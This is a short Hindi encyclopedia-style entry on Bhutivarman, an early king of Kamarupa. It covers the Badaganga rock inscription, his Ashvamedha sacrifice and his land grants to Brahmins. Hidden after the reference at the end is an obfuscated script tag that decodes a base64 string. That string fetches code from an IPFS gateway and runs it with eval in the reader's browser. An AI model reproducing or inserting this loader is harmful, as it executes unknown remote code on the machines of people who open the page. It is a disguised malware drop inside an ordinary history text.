भूतिवर्मा

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  • भूतिवर्मा को 'महाभूति वर्मा' अथवा 'भूतवर्मा' भी सम्बोधित किया जाता है।
  • यह कामरूप के 'पुष्यवर्मा' द्वारा प्रवर्तित राजवंश का आरम्भिक राजा था।
  • बादगंगा चट्टान शिलालेख के अनुसार, जिस पर गुप्त युग की तिथि अंकित कही जाती है, और जो 554 ई. के समकक्ष है, भूतिवर्मा ने अश्वमेध यज्ञ किया था।
  • इससे प्रकट होता है कि उसने गुप्तों के अधिराज्य का परित्याग कर दिया था।
  • भूतिवर्मा ने भारी संख्या में ब्राह्मणों को कौशिकी नदी के निकट चन्द्रपुरी परगने में पट्टे लिखकर भूमि प्रदान की, जिनका उसके उत्तराधिकारी भास्करवर्मा ने नवीनीकरण किया।


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टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 340।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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